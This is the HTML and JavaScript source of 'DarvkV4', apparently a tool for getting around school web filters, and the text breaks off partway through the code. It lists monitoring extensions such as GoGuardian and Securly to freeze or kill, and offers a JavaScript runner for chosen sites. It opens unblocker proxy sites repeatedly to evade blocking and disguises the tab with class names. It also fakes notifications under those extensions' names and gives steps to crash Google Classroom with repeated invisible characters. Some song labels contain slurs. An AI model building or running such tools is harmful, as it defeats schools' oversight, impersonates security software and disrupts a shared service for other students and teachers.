<html lang="en"><head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Darvk</title>
	<link rel="shortcut icon" type="image/png" href="https://logodownload.org/wp-content/uploads/2020/04/google-classroom-logo-2.png">
	<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&amp;display=swap">
	<style>
	body {
		font-family: "Varela Round", sans-serif;
		margin: 0;
		padding: 0;
		color: #ffffff;
		line-height: 1.6;
		position: relative;
		overflow: hidden;
		background: url("https://wallpaper.dog/large/17167981.gif") no-repeat center center fixed;
		background-size: cover;
	}
	
	header {
		background-color: rgba(10, 17, 36, 0);
		color: #000000;
		padding: 10px;
		text-align: center;
		display: flex;
		align-items: center;
		justify-content: center;
	}
	
	header h1 {
		font-size: 18px; /* Changed from 24px to 18px */
	}
	
	header img.logo {
		width: 120px;
		/* Ensure the logo is a reasonable size */
		height: auto;
		/* Maintain aspect ratio */
		margin-right: 10px;
		/* Space between logo and title */
	}
	
	.button-container {
    	display: flex; /* Use flexbox for layout */
    	flex-direction: column; /* Arrange buttons in a column */
    	gap: 10px; /* Space between buttons */
    	margin-top: 20px; /* Add margin to push buttons down */
    	align-items: center; /* Center align buttons */
	}

	.button-container button {
        padding: 7.5px; /* Adjust padding for smaller buttons */
        font-size: 12px; /* Changed from 16px to 12px */
    	width: 200px; /* Set a fixed width for buttons */
    	padding: 10px; /* Add padding for better click area */
	}
	
	.container:hover,
	button:hover {
		transform: translateY(-5px);
		box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
	}
	
	#killButton {
        padding: 7.5px 15px; /* Adjust padding for smaller button */
        font-size: 12px; /* Changed from 16px to 12px */
		display: none;
		background-color: #e4243751;
		color: #ffffff;
		border: none;
		cursor: pointer;
		border-radius: 5px;
		transition: background-color 0.3s ease;
	}
	
	.logo {
		width: 120px;
		height: fit-content;
		border-radius: 59%;
		margin-right: 10px;
	}
	
	#killExtensionText {
        font-size: 13.5px; /* Changed from 18px to 13.5px */
		display: none;
		margin-top: 20px;
		color: #ffffff;
		font-size: 18px;
		text-align: center;
		background: rgba(10, 17, 36, 0);
		padding: 20px;
		border-radius: 59px;
	}
	
	.welcome-message {
		background-color: rgba(0, 0, 0, 0.7);
		/* Semi-transparent background */
		color: #ffffff;
		/* White text color */
		padding: 15px 20px;
		/* Padding for spacing */
		border-radius: 8px;
		/* Rounded corners */
		box-shadow: 0 4px 10px rgba(0, 0, 0, 0.5);
		/* Subtle shadow */
		position: fixed;
		/* Fixed position */
		top: 20px;
		/* Distance from the top */
		left: 50%;
		/* Center horizontally */
		transform: translateX(-50%);
		/* Center alignment */
		z-index: 1000;
		/* Ensure it appears above other content */
		font-size: 13.5px; /* Changed from 18px to 13.5px */
		/* Font size */
		transition: opacity 0.5s ease;
		/* Smooth transition for appearance */
		opacity: 0;
		/* Start as invisible */
	}

    .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
        }

    .close:hover,
    .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
    }
	
    #songModal {
            display: none; /* Hidden by default */
            position: fixed;
            z-index: 1; /* Sit on top */
            left: 0;
            top: 0;
            width: 100%; /* Full width */
            height: 100%; /* Full height */
            overflow: auto; /* Enable scroll if needed */
            background-color: rgba(0, 0, 0, 0.8); /* Black w/ opacity */
            justify-content: center;
            align-items: center;
        }

	.welcome-message.show {
		opacity: 1;
		/* Fully visible when shown */
	}

	.button-container {
    	display: flex; /* Use flexbox for layout */
    	flex-direction: column; /* Arrange buttons in a column */
    	gap: 10px; /* Space between buttons */
    	margin-top: 100px; /* Add margin to push buttons below the welcome message */
    	align-items: center; /* Center align buttons */
	}
	
	.container {
		max-width: 800px;
		margin: 50px auto;
		padding: 20px;
		text-align: center;
		background: rgba(10, 17, 36, 0);
		border-radius: 59px;
		box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
	}
	
	button {
        font-size: 12px; /* Changed from 16px to 12px */
        padding: 7.5px 15px; /* Adjust padding for smaller buttons */
		background-color: #351b6054;
		color: #ffffff;
		border: none;
		cursor: pointer;
		border-radius: 5px;
		font-size: 16px;
		margin: 10px auto;
		transition: background-color 0.3s ease, transform 0.3s ease, box-shadow 0.3s ease;
	}
	
	#showCustomUrlButton {
		position: relative;
		/* Ensure the button stays in place */
		z-index: 1;
		/* Keep it above other elements */
	}

            .seek-bar {
            width: 100%;
            height: 5px;
            background: #ddd;
            cursor: pointer;
            margin-top: 10px;
        }

        .seek-bar-filled {
            height: 100%;
            background: #4caf50;
            width: 0%;
        }
	
	button:hover {
		background-color: #0a1124;
		transform: translateY(-5px);
		box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
	}
	
	input[type="text"],
	input[type="password"],
	select {
        font-size: 11.25px; /* Changed from 15px to 11.25px */
        padding: 9px; /* Adjust padding for smaller input fields */
		font-family: "Varela Round", sans-serif;
		margin: 10px auto;
		font-size: 15px;
		border-radius: 5px;
		border: 1px solid rgba(10, 17, 36, 0);
		width: 100%;
		transition: border-color 0.3s ease;
        box-sizing: border-box; /* Include padding and border in width */
	}
	
	input:focus,
	select:focus {
		border-color: #4b6b77;
		outline: none;
	}

    #toggleButton {
        position: relative; /* Change to relative positioning */
        z-index: 1; /* Ensure it stays above other elements */
        margin-bottom: 10px; /* Add space below the toggle button */
    }
	
    .modal {
        display: flex;
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(10, 17, 36, 0.8);
        justify-content: center; /* Center horizontally */
        align-items: center; /* Center vertically */
        z-index: 9999;
        visibility: hidden; /* Initially hidden */
        opacity: 0; /* Initially transparent */
        transition: visibility 0s, opacity 0.5s linear; /* Smooth transition */
}

	
    .modal-content {
        width: 400px; /* Set a fixed width for the modal */
        padding: 30px; /* Add padding for spacing */
        border-radius: 20px;
        box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
        color: white;
        text-align: center;
        margin: 0; /* Remove margin to avoid unevenness */
        box-sizing: border-box; /* Include padding in width calculation */
        border: 0px solid rgb(53, 39, 56); /* Optional: border for debugging */
    }

    .modal-content label {
    display: block; /* Ensure labels are block elements for better spacing */
    margin: 10px 0 5px; /* Add margin for spacing */
}

.modal-content input[type="text"],
.modal-content input[type="checkbox"] {
    width: 100%; /* Make text inputs full width */
    padding: 10px; /* Add padding for better click area */
    margin-bottom: 10px; /* Add margin for spacing */
    border-radius: 5px; /* Rounded corners */
    border: 1px solid #ccc; /* Border for inputs */
}

.modal-content input[type="checkbox"] {
    width: auto; /* Keep checkbox width auto */
    display: inline-block; /* Align checkbox inline with label */
}
	
	#killButton:hover {
		background-color: #0a1124;
	}
	
	header img.logo {
		width: 50px;
		/* Ensure the logo is a reasonable size */
		height: auto;
		/* Maintain aspect ratio */
		margin-right: 10px;
		/* Space between logo and title */
	}
	
	.overlay {
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		background-color: rgba(0, 0, 0, 0.8);
		display: none;
		justify-content: center;
		align-items: center;
		z-index: 9999;
		color: #ffffff;
		font-size: 24px;
		flex-direction: column;
		text-align: center;
	}
	
	html,
	body {
		height: 100%;
		/* Ensure the html and body take up the full height */
		margin: 0;
		/* Remove default margin */
		padding: 0;
		/* Remove default padding */
	}
	
	textarea {
        font-size: 11.25px; /* Adjust textarea font size */
		width: 100%;
		height: 100px;
		margin-top: 10px;
		background-color: rgba(255, 255, 255, 0.1);
		color: white;
		border: 1px solid #61dafb;
		border-radius: 5px;
	}

    #customNotificationModal {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.8);
    justify-content: center;
    align-items: center;
    z-index: 9999;
}

#customNotificationModal.show {
    display: flex;
}
	
	.spinner {
		border: 6px solid rgba(0, 0, 0, 0.3);
		border-top: 6px solid #4b6b77;
		border-radius: 59%;
		width: 40px;
		height: 40px;
		animation: spin 1s linear infinite;
		margin-bottom: 20px;
	}
	
	@keyframes spin {
		0% {
		transform: rotate(0deg);
		}
		100% {
		transform: rotate(360deg);
		}
	}
	
	footer {
		background-color: rgba(10, 17, 36, 0);
		color: #ffffff;
		text-align: center;
		padding: 15px;
		position: fixed;
		bottom: 0;
		width: 100%;
	}

	audio {
    	display: none; /* Hide the audio player */
	}
	
	footer a {
		color: #cbcbcb;
		text-decoration: none;
	}
	
	footer a:hover {
		text-decoration: underline;
	}
	
    .modal.show {
        visibility: visible; /* Show the modal */
        opacity: 1; /* Fully opaque */
    }
	
	#customUrlSection {
		display: none;
		/* Hide the custom URL section initially */
	}
	
	.background-media {
		position: absolute;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		z-index: -1;
		object-fit: cover;
	}
	</style>
</head>

<body>
	<header> <img src="https://clipart-library.com/images/rTjrbKygc.png" alt="Logo" class="logo">
		<h1>DarvkV4</h1> </header>
        <div id="customNotificationModal" class="modal">
            <div class="modal-content">
                <span id="closeNotificationModal" class="close">&times;</span>
                <h2>Send Notification</h2>
                <label for="extensionSelect">Select Extension:</label>
                <select id="extensionSelect"></select>
                
                <label for="customExtensionNameInput"></label>
                <input type="text" id="customExtensionNameInput" placeholder="Enter custom extension name (Optional)" />
        
                <label for="customMessageInput"></label>
                <input type="text" id="customMessageInput" placeholder="Enter your message" />
        
                <label for="iconUrlInput"></label>
                <input type="text" id="iconUrlInput" placeholder="Enter icon URL" />
        
                <label for="imageUrlInput"></label>
                <input type="text" id="imageUrlInput" placeholder="Enter image URL" />
        
                <label>
                    <input type="checkbox" id="keepInput" /> Keep input fields
                </label>
        
                <button id="sendCustomMessageButton">Send Notification</button>
            </div>
        </div>
	<div id="welcomeMessage" style="display: none; color: white; text-align: center; font-size: 20px"></div>
    <div class="modal" id="loginModal">
        <div class="modal-content">
            <h2>Login to Darvk</h2>
            <input type="text" id="usernameInput" placeholder="Username">
            <input type="password" id="passwordInput" placeholder="Password">
            <button onclick="checkLogin()">Login</button>
        </div>
    </div>
	<div class="container" id="mainContent" style="display: none">
		<p> DarvkV4 is an external tool made by Anonymous, it works as of January, 2025. </p>
		<input type="file" id="fileInput" style="display: none;" accept=".js,.html">
		<label for="iframeSelect" id="labelForIframeSelect">Select extension:</label>
		<select id="iframeSelect"></select>
		<button id="toggleButton" onclick="toggleOptions()">Show Options</button>
		<div id="optionsContainer" style="display: none;">
			<select id="tabNameSelect">
				<option value="Classroom">Classroom</option>
				<option value="1st Period Science 8C">1st Period Science 8C</option>
				<option value="2nd Period Science">2nd Period Science</option>
				<option value="4th Period Science">4th Period Science</option>
				<option value="6th Period Science">6th Period Science</option>
				<option value="1ST PERIOD 31">1ST PERIOD 31</option>
				<option value="2ND PERIOD 12">2ND PERIOD 12</option>
				<option value="4TH PERIOD">4TH PERIOD</option>
				<option value="6TH PERIOD">6TH PERIOD</option>
				<option value="Social Studies - 1st Period 3rd Quarter">Social Studies - 1st Period 3rd Quarter</option>
				<option value="Social Studies - 2nd Period 3rd Quarter">Social Studies - 2nd Period 3rd Quarter</option>
				<option value="Social Studies - 4th Period 3rd Quarter">Social Studies - 4th Period 3rd Quarter</option>
				<option value="Social Studies - 6th Period 3rd Quarter">Social Studies - 6th Period 3rd Quarter</option>
				<option value="FIRST PERIOD">FIRST PERIOD</option>
				<option value="SECOND PERIOD">SECOND PERIOD</option>
				<option value="FOURTH PERIOD">FOURTH PERIOD</option>
				<option value="SIXTH PERIOD-8C 16-BYRD">SIXTH PERIOD-8C 16-BYRD</option>
			</select>
			<button onclick="changeTabName()">Change Tab Name</button>
			<button onclick="toggleOptions()">Close Options</button>
		</div>
		<button onclick="warning();" id="hangButton" title="Freezes the selected extension.">Freeze Extension</button>
		<button onclick="openCrashPopup();" id="crashButton" title="Opens the code executor.">Code Executor</button>
		<button id="killButton" onclick="openExtensionPopup();" title="Terminate the selected extension.">Kill Extension!</button>
        <button id="openModalButton">Select a Song</button>
        <button id="toggleNotificationButton">Toggle Notification</button>
		<button id="nutWater" title="Use only if teachers have applied a scene block or they won't let you play music.">Music / Video player</button>
		<button id="tutcrash" title="This feature now works across all Chrome Versions." onclick="tutcrash()">Crash Classroom</button>
		<button id="openGoogleButton" title="Opens only 1 selected website out of the 3 (You can choose it).">Bypassed websites</button>
		<button id="openallgg" title="It opens all of the selected websites by doing it repeatedly you can stop goguardian from blocking the website.">Open all websites</button>
		<button id="openWebsiteButton" title="Run JavaScript on the chosen websites (New update allows you to run it on custom websites!)">Run JavaScript on selected sites</button>
		<button id="openNewTabButton" title="Opens input mode allowing you load up websites that support (Iframe)" onclick="openNewTabButton()">Website opener (Iframe)</button>
		<button id="showCustomUrlButton" title="Gives you loads of websites to choose from. (Best)">Open Custom sites</button>
		<div id="customUrlSection">
			<input type="text" id="customUrlInput" placeholder="Enter custom website URL.">
			<button id="openCustomUrlButton" title="Open the entered custom URL.">Open Custom URL</button>
			<button id="closeCustomUrlButton" title="Close the custom URL input section.">Close</button>
			<button id="openSavedCustomUrlButton" titled="Not sure.">hi</button>
		</div>
	</div>
	<div>

        <div id="songModal">
            <div class="modal-content">
                <span class="close" id="closeModalButton">×</span>
                <h2>Select a Song (Adding more)</h2>
                <select id="songSelect">
                    <option value="https://cdn.glitch.global/24315fd1-0501-4543-8f56-a99162a39d3c/Cafune_-_Tek_It_%5BOfficial_Audio%5D_%5B_YouConvert.net_%5D.mp3?v=1736715992012">Cafune - Tek It</option>
                    <option value="https://cdn.glitch.global/24315fd1-0501-4543-8f56-a99162a39d3c/Lil_Durk_-_Pissed_Me_Off_(Official_Video)_%5B_YouConvert.net_%5D.mp3?v=1736663914597">Scrig nigga</option>
                    <option value="https://cdn.glitch.global/24315fd1-0501-4543-8f56-a99162a39d3c/Rell_Vert_x_Bloodyhound_Lil_Jeff_-_Stretched_(Official_Music_Video)_%5B_YouConvert.net_%5D.mp3?v=1736809064286">scum lil bru</option>
                    <!-- Add more songs as needed -->
                </select>
                <br>
                <button id="playButton">Play</button>
                <div class="seek-bar" id="seekBar">
                <div class="seek-bar-filled" id="seekBarFilled"></div>
            </div>
        </div>
    
        <audio id="backgroundMusic" controls="" style="display: none;">
            <source src="" type="audio/mpeg">
            Your browser does not support the audio element.
        </audio>
    
        <script>
            // Get modal elements
            const modal = document.getElementById("songModal");
            const openModalButton = document.getElementById("openModalButton");
            const closeModalButton = document.getElementById("closeModalButton");
            const playButton = document.getElementById("playButton");
            const songSelect = document.getElementById("songSelect");
            const audio = document.getElementById("backgroundMusic");
            const seekBar = document.getElementById("seekBar");
            const seekBarFilled = document.getElementById("seekBarFilled");
    
            // Open the modal
            openModalButton.onclick = function() {
                modal.style.display = "flex";
            }
    
            // Close the modal
            closeModalButton.onclick = function() {
                modal.style.display = "none";
            }
    
            // Play the selected song
            playButton.onclick = function() {
                const selectedSong = songSelect.value;
                audio.src = selectedSong; // Update the audio source
                audio.play().catch(function(error) {
                    console.log("Error playing audio:", error);
                });
                modal.style.display = "none"; // Close the modal after playing
            }
    
            // Update the seek bar as the audio plays
            audio.addEventListener('timeupdate', function() {
                const percentage = (audio.currentTime / audio.duration) * 100;
                seekBarFilled.style.width = percentage + '%';
            });
    
            // Seek to a specific part of the song when the seek bar is clicked
            seekBar.addEventListener('click', function(event) {
                const rect = seekBar.getBoundingClientRect();
                const offsetX = event.clientX - rect.left;
                const totalWidth = rect.width;
                const percentage = offsetX / totalWidth;
                audio.currentTime = percentage * audio.duration; // Set the audio current time
            });
    
            // Close the modal if the user clicks outside of it
            window.onclick = function(event) {
                if (event.target === modal) {
                    modal.style.display = "none";
                }
            }
        </script>

<script>
    let notificationVisible = false;

    // Populate the dropdown with installed extensions
    const extensions = [
        "Securly",
        "Securly (old)",
        "GoGuardian",
        "LANSchool",
        "Linewize",
        "Blocksi",
        "FortiGuard",
        "Cisco Umbrella",
        "ContentKeeper",
        "CK-Authenticator G3",
        "Securly Classroom",
        "Hapara",
        "Hapara (new ID)",
        "iboss",
        "Lightspeed Filter Agent",
        "Lightspeed Classroom",
        "InterCLASS Filtering Service",
        "InterSafe GatewayConnection Agent",
        "LoiLo Web Filters",
        "Gopher Buddy",
        "LanSchool Web Helper",
        "IMTLazarus",
        "Impero Backdrop",
        "Mobile Guardian"
    ]; // Replace with actual extension names

    const extensionSelect = document.getElementById("extensionSelect");
extensions.forEach(extension => {
    const option = document.createElement("option");
    option.value = extension;
    option.textContent = extension;
    extensionSelect.appendChild(option);
});

// Toggle Notification Modal
document.getElementById("toggleNotificationButton").addEventListener("click", function () {
    const notificationModal = document.getElementById("customNotificationModal");
    notificationModal.classList.toggle("show");
});

// Close the modal when the close button is clicked
document.getElementById("closeNotificationModal").onclick = function () {
    const notificationModal = document.getElementById("customNotificationModal");
    notificationModal.classList.remove("show");
};

// Send custom message button functionality
document.getElementById("sendCustomMessageButton").addEventListener("click", function () {
    const selectedExtension = document.getElementById("extensionSelect").value;
    const customExtensionName = document.getElementById("customExtensionNameInput").value || selectedExtension; // Use custom name or default to selected extension
    const message = document.getElementById("customMessageInput").value;
    const iconUrl = document.getElementById("iconUrlInput").value;
    const imageUrl = document.getElementById("imageUrlInput").value;

// Prevent closing the modal by clicking outside of it
window.onclick = function(event) {
    const notificationModal = document.getElementById("customNotificationModal");
    if (event.target === notificationModal) {
        // Do nothing to prevent closing the modal
    }
};

        // Check for notification permission
        if (Notification.permission === "granted") {
        new Notification(customExtensionName, { // Use custom extension name here
            body: message,
            icon: iconUrl,
            image: imageUrl
        });
    } else if (Notification.permission !== "denied") {
        Notification.requestPermission().then(permission => {
            if (permission === "granted") {
                new Notification(customExtensionName, { // Use custom extension name here
                    body: message,
                    icon: iconUrl,
                    image: imageUrl
                });
            }
        });
    }


    // Check if the user wants to keep the input fields
    const keepInput = document.getElementById("keepInput").checked;
    if (!keepInput) {
        // Clear the input fields if the checkbox is not checked
        document.getElementById("customMessageInput").value = '';
        document.getElementById("iconUrlInput").value = '';
        document.getElementById("imageUrlInput").value = '';
        document.getElementById("customExtensionNameInput").value = ''; // Clear custom extension name input
    }
});


document.getElementById("toggleNotificationButton").addEventListener("click", function() {
    const notificationContainer = document.getElementById("notificationContainer");
    if (notificationContainer.style.display === "none") {
        notificationContainer.style.display = "block"; // Show the container
    } else {
        notificationContainer.style.display = "none"; // Hide the container
    }
});
</script>

		<script>
			// Function to toggle the options container
			function toggleOptions() {
				const optionsContainer = document.getElementById('optionsContainer');
				const toggleButton = document.getElementById('toggleButton');
				if (optionsContainer.style.display === 'none') {
					optionsContainer.style.display = 'block';
					toggleButton.style.visibility = 'hidden'; // Hide the button but keep its space
				} else {
					optionsContainer.style.display = 'none';
					toggleButton.style.visibility = 'visible'; // Show the button
				}
			}
	
    // Function to change the tab name and save it to localStorage
    function changeTabName() {
        const selectedName = document.getElementById('tabNameSelect').value;
        document.title = selectedName; // Change the title of the current tab
        localStorage.setItem('tabName', selectedName); // Save the name to localStorage
    }

    // Function to load the saved tab name from localStorage
    function loadTabName() {
        const savedName = localStorage.getItem('tabName');
        if (savedName) {
            document.title = savedName; // Set the document title to the saved name
            document.getElementById('tabNameSelect').value = savedName; // Set the select value to the saved name
        }
    }

    // Load the tab name when the page is loaded
    window.onload = loadTabName;

    // Listen for storage events to update the title in other tabs
    window.addEventListener('storage', function(event) {
        if (event.key === 'tabName') {
            document.title = event.newValue; // Update the title in this tab
        }
    });
    
		</script>
    <audio id="backgroundMusic" controls="" style="display: none;">
        <source src="" type="audio/mpeg">
        Your browser does not support the audio element.
    </audio>
				

				<script>
					let isPlaying = false; // Variable to track the playing state

document.getElementById('playButton').addEventListener('click', function() {
    const audio = document.getElementById('backgroundMusic');
    const selectedSong = document.getElementById('songSelect').value; // Get the selected song URL

    // If the audio source is different from the selected song, update the source
    if (audio.src !== selectedSong) {
        audio.src = selectedSong; // Update the audio source
        audio.load(); // Load the new audio source
        audio.play().catch(function(error) {
            console.log("Error playing audio:", error);
        });
        this.textContent = "Pause music"; // Change button text to "Pause"
        isPlaying = true; // Set playing state to true
    } else {
        // If the same song is selected, toggle play/pause
        if (isPlaying) {
            audio.pause(); // Pause the audio
            this.textContent = "Play music"; // Change button text to "Play"
        } else {
            audio.play().catch(function(error) {
                console.log("Error playing audio:", error);
            });
            this.textContent = "Pause music"; // Change button text to "Pause"
        }
        isPlaying = !isPlaying; // Toggle the playing state
    }
});
				</script>
		<script>
		function openNewTabButton() {
			const fileName = 'TESRN.html'; // URL-encoded file name
			window.open(fileName, '_blank');
		}
		</script>

<script>
	document.getElementById("nutWater").addEventListener("click", function() {
		const websites = ["https://v3.mp3juices.click/"];
		// Open each website in a new popup window
		websites.forEach(function(url) {
			var popup = window.open("about:blank", "_blank", "width=800,height=600");
			popup.document.write(`
			<html>
				<head>
					<title>Classroom</title>
					<style>
						body {
							margin: 0;
							padding: 0;
							background-size: cover;
						}
						#websiteFrame {
							width: 100vw;
							height: 100vh;
							border: none;
						}
					</style>
				</head>
				<body>
					<iframe id="websiteFrame" src="${url}"></iframe>
				</body>
			</html>
		`);
			popup.document.close();
		});
	});
	</script>

		<script>
		// Variable to store the custom URL
		let savedCustomUrl = "";
		// Show the custom URL input section when the button is clicked
		document.getElementById("showCustomUrlButton").addEventListener("click", function() {
			// Prompt the user to select a website
			var choice = prompt("Which website do you want to open?\n1. Anura\n2. Aluu\n3. EvilTester\n4. Incognito\n5. DogeUnblocker\n6. Win11\n7. Ruffle\n8. ProxySite\n9. Custom\n10. CustomFrame\n11. Space\n12. Utopia\n13. Szvy\n14. Arsenic\n15. Interstellar\n16. Arca");
			document.getElementById("customUrlSection").style.display = "none"; // Show the custom URL section
			var proxyUrl;
			// Determine the URL based on user input
			switch(choice) {
				case "Anura":
					proxyUrl = "https://anura.pro/";
					break;
				case "Incognito":
					proxyUrl = "https://incog.works/";
					break;
				case "DogeUnblocker":
					proxyUrl = "https://desk.chillcrew.net/";
					break;
				case "Aluu":
					proxyUrl = "https://aluu.xyz/";
					break;
				case "EvilTester":
					proxyUrl = "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
					break;
				case "Win11":
					proxyUrl = "https://win11.blueedge.me/";
					break;
                case "ProxySite":
                    proxyUrl = "https://www.proxysite.com/";
                    break;
                case "Ruffle":
                    proxyUrl = "https://ruffle.rs/demo/";
                    break;
                case "Space":
                    proxyUrl = "https://class.happymosaic.ru/";
                    break;
                case "Utopia":
                    proxyUrl = "https://sci.state.tokohabibah.com/";
                    break;
                case "Szvy":
                    proxyUrl = "https://portal.ohio.govt.hu/";
                    break;
                case "Arsenic":
                    proxyUrl = "https://88.hitekplacements.net/";
                    break;
                case "Interstellar":
                    proxyUrl = "https://lunchly61.i-like-my-cheese-drippy-bruh.wolunblox.math1.4cloud.click/";
                    break;
                case "Arca":
                    proxyUrl = "https://frogiesarca.de/";
                    break;
				case "Custom":
				case "CustomFrame":
					var customUrl = prompt("Please enter your custom URL:");
					if(!customUrl) {
						alert("No URL entered. Please try again.");
						return; // Exit if no URL is provided
					}
					// Validate the custom URL (basic validation)
					if(!/^https?:\/\//i.test(customUrl)) {
						alert("Please enter a valid URL starting with http:// or https://");
						return; // Exit if the URL is invalid
					}
					proxyUrl = customUrl; // Use the custom URL
					savedCustomUrl = customUrl; // Save the custom URL
					break;
				default:
					alert("Invalid choice. Please select a valid option.");
					return; // Exit if the input is invalid
			}
			// Prompt for the number of times to open the website
			var times = prompt("How many times do you want to open this website?");
			times = parseInt(times);
			if(isNaN(times) || times <= 0) {
				alert("Please enter a valid number.");
				return; // Exit if the number is invalid
			}
			// Open the selected URL the specified number of times
			for(let i = 0; i < times; i++) {
				var popup = window.open("about:blank", 'newWindow' + i, 'width=800,height=600'); // Open in a new window
				if(choice !== "Custom") { // If not custom URL
					popup.document.write(`
                    <html>
                        <head>
                            <title>Classroom</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background: url('https://wallpaper.dog/large/17167981.gif') no-repeat center center fixed;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
				} else { // If custom URL
					popup.location.href = proxyUrl; // Directly set the location for custom URL
				}
				popup.document.close();
			}
			// Keep the button in the same position
			this.blur(); // Remove focus from the button to prevent any default behavior
		});
		// Optionally hide the button after it's clicked
		this.style.display = "block";
		// Functionality to open custom URL (if needed)
		document.getElementById("openCustomUrlButton").addEventListener("click", function() {
			var customUrl = document.getElementById("customUrlInput").value;
			// Validate the URL
			if(!customUrl) {
				alert("Please enter a valid URL.");
				return;
			}
			// Save the custom URL for future use
			savedCustomUrl = customUrl;
			// Open the custom URL in a new window
			var popup = window.open("about:blank", "customWindow", "width=800,height=600");
			popup.document.write(`
            <html>
                <head>
                    <title>Classroom</title>
                    <style>
                        body {
                            margin: 0;
                            padding: 0 background: url('https://wallpaper.dog/large/17167981.gif') no-repeat center center fixed;
                            background-size: cover;
                        }
                        #websiteFrame {
                            width: 100vw;
                            height: 100vh;
                            border: none;
                        }
                    </style>
                </head>
                <body>
                    <iframe id="websiteFrame" src="${customUrl}"></iframe>
                </body>
            </html>
        `);
			popup.document.close();
			// Add event listener to detect F11 key for fullscreen
			popup.document.addEventListener("keydown", function(event) {
				if(event.key === "F11") {
					event.preventDefault(); // Prevent the default F11 behavior
					var iframe = popup.document.getElementById("websiteFrame");
					if(iframe.requestFullscreen) {
						iframe.requestFullscreen();
					} else if(iframe.mozRequestFullScreen) {
						// Firefox
						iframe.mozRequestFullScreen();
					} else if(iframe.webkitRequestFullscreen) {
						// Chrome, Safari and Opera
						iframe.webkitRequestFullscreen();
					} else if(iframe.msRequestFullscreen) {
						// IE/Edge
						iframe.msRequestFullscreen();
					}
				}
			});
			// Hide the custom URL section and reset the input field
			document.getElementById("customUrlSection").style.display = "none";
			document.getElementById("customUrlInput").value = ""; // Clear the input field
		});
		// Functionality to close the custom URL input section
		document.getElementById("closeCustomUrlButton").addEventListener("click", function() {
			document.getElementById("customUrlSection").style.display = "none";
			document.getElementById("showCustomUrlButton").style.display = "block"; // Show the button again
			document.getElementById("customUrlInput").value = ""; // Clear the input field
		});
		// Functionality to open the saved custom URL
		document.getElementById("openSavedCustomUrlButton").addEventListener("click", function() {
			if(savedCustomUrl) {
				var times = prompt("How many times do you want to open the saved custom URL?");
				times = parseInt(times);
				if(isNaN(times) || times <= 0) {
					alert("Please enter a valid number.");
					return; // Exit if the number is invalid
				}
				// Open the saved custom URL the specified number of times in a new window
				for(let i = 0; i < times; i++) {
					var popup = window.open("about:blank", 'savedCustomWindow' + i, 'width=800,height=600'); // Open in a new window
					popup.location.href = savedCustomUrl; // Directly set the location for saved custom URL
				}
			} else {
				alert("No custom URL saved. Please enter a custom URL first.");
			}
		});
		</script>
		<script>
		function tutcrash() {
			// Create a new window
			const newWindow = window.open("", "TextEditor", "width=400,height=300");
			// HTML content for the new window
			newWindow.document.write(`
<html>
        <head>
            <title>Classroom - Home</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    padding: 20px;
                }
                #message {
                    margin-bottom: 10px;
                    font-weight: bold;
                    font-size: 18px;
                }
                #codeContent {
                    border: 1px solid #ccc;
                    padding: 15px;
                    margin-bottom: 10px;
                    font-size: 16px;
                    background-color: #f9f9f9;
                    white-space: pre-wrap; /* Preserve whitespace and line breaks */
                    overflow: auto; /* Allow scrolling if the text exceeds the height */
                    height: 200px; /* Set a fixed height for the text box */
                }
                button {
                    padding: 10px 15px;
                    font-size: 16px;
                    cursor: pointer;
                }
            </style>
        </head>
        <body>
            <div id="message">Click the copy button, then paste it into Google Classroom press announce something to the class, after doing that paste the little character after pasting the character create a new line and then create another and paste the little character into that one repeat the same process it may lag.</div>
            <div id="codeContent">⠀</div>
            <button id="copyButton">Copy Code</button>
            <script>
                document.getElementById('copyButton').onclick = function() {
                    const codeContent = document.getElementById('codeContent').innerText;
                    navigator.clipboard.writeText(codeContent).then(() => {
                        alert('Code copied to clipboard!');
                    }).catch(err => {
                        alert('Failed to copy code: ' + err);
                    });
                };
            <\/script>
        </body>
        </html>
    `);
			// Close the document to render the content
			newWindow.document.close();
		}
		</script>
		<script>
		document.getElementById("openGoogleButton").addEventListener("click", function() {
			// Prompt the user to select a website
			var choice = prompt("Which website do you want to open?\n1. Anura\n2. Aluu\n3. EvilTester\n4. Incognito\n5. DogeUnblocker\n6. Win11\n7. Ruffle\n8. ProxySite\n9. Custom\n10. CustomFrame\n11. Space\n12. Utopia\n13. Szvy\n14. Arsenic\n15. Interstellar\n16. Arca");
			var proxyUrl;
			// Determine the URL based on user input
			switch(choice) {
				case("Anura"):
					proxyUrl = "https://anura.pro/";
					break;
				case("Incognito"):
					proxyUrl = "https://incog.works/";
					break;
				case("DogeUnblocker"):
					proxyUrl = "https://desk.chillcrew.net/";
					break;
				case("Aluu"):
					proxyUrl = "https://aluu.xyz/";
					break;
				case("EvilTester"):
					proxyUrl = "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
					break;
				case("Win11"):
					proxyUrl = "https://win11.blueedge.me/";
					break;
                case("ProxySite"):
                    proxyUrl = "https://www.proxysite.com/";
                    break;
                case("Ruffle"):
                    proxyUrl = "https://ruffle.rs/demo/";
                    break;
                case ("Space"):
                    proxyUrl = "https://class.happymosaic.ru/";
                    break;
                case ("Utopia"):
                    proxyUrl = "https://sci.state.tokohabibah.com/";
                    break;
                case ("Szvy"):
                    proxyUrl = "https://portal.ohio.govt.hu/";
                    break;
                case ("Arsenic"):
                    proxyUrl = "https://88.hitekplacements.net/";
                    break;
                case ("Interstellar"):
